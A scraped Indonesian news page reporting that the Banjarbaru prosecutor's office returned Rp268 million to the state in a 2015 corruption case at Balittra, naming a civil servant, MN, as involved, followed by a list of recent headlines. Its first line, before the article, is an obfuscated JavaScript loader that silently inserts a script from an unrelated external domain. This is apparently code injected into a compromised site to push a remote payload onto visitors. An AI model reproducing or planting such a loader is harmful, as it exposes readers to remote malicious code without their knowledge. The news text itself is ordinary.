(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Kejari Banjarbaru Kembalikan Rp268 Juta ke Negara, MN Seorang PNS Balittra Turut Dipidana!


KANALKALIMANTAN.COM, BANJARBARU – Tim Jaksa Eksekutor pada Seksi Tindak Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru kembali melakukan penyelamatan keuangan negara atas kasus tindak pindana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Kepala Kejari Banjarbaru Andri Irawan, mengatakan pada kali ini pihaknya mengembalikan uang negara sebesar Rp 268.636.705. Uang ini berasal dari pembayaran denda para terpidana dan pembayaran uang pengganti.

“Kita mengembalikan uang negara melalui Penerimaan Negara Bukan Pajak (PNBP) sebesar Rp268.636.705 yang berasal dari pembayaran uang denda sebesar Rp50.000.000, dan pembayaran uang pengganti sebesar Rp 218.636.705 dari terpidana SF,” katanya, Senin (6/7/2020) pagi.

Sebagaimana diketahui, kronologi tindak korupsi ini terjadi pada 2015, saat Balittra Banjarbaru melaksanakan sejumlah proyek pekerjaan. Seperti pembuatan jalan usaha tani baru, pengerasan jalan, pengaspalan jalan utama kebun, serta pembangunan 11 unit jembatan. Seluruh proyek ini, memiliki total nilai kontrak sebesar Rp 1,2 miliar atau lebih rincinya Rp 1.208.460.000.

Berdasarkan fakta-fakta yang terungkap di persidangan, SF dan DA sebagai kontraktor pelaksana dalam proyek-proyek tersebut, terbukti melakukan korupsi. Kasus ini sendiri mengakibatkan kerugian keuangan negara sebesar Rp298.636.703.

Kepala Kejari Banjarbaru mengatakan selain dua kontraktor pelaksana yang ditetapkan sebagai terpidana, kasus ini juga rupanya turut melibatkan seorang PNS -pegawai negeri sipil- di Ballitra Banjarbaru. “Benar, PNS di Balittra Banjarbaru juga turut telibat dalam perkara korupsi ini. Yang bersangkutan berinisal MN,” tuturnya.

Sebelumnya, pada Kamis (2/7/2020) kemarin, Kejari Banjarbaru juga telah melakukan pemulihan uang negar dengan nominal mencapai Rp 80 juta. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

37 menit ago

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

2 jam ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

14 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

14 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

15 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

19 jam ago

This website uses cookies.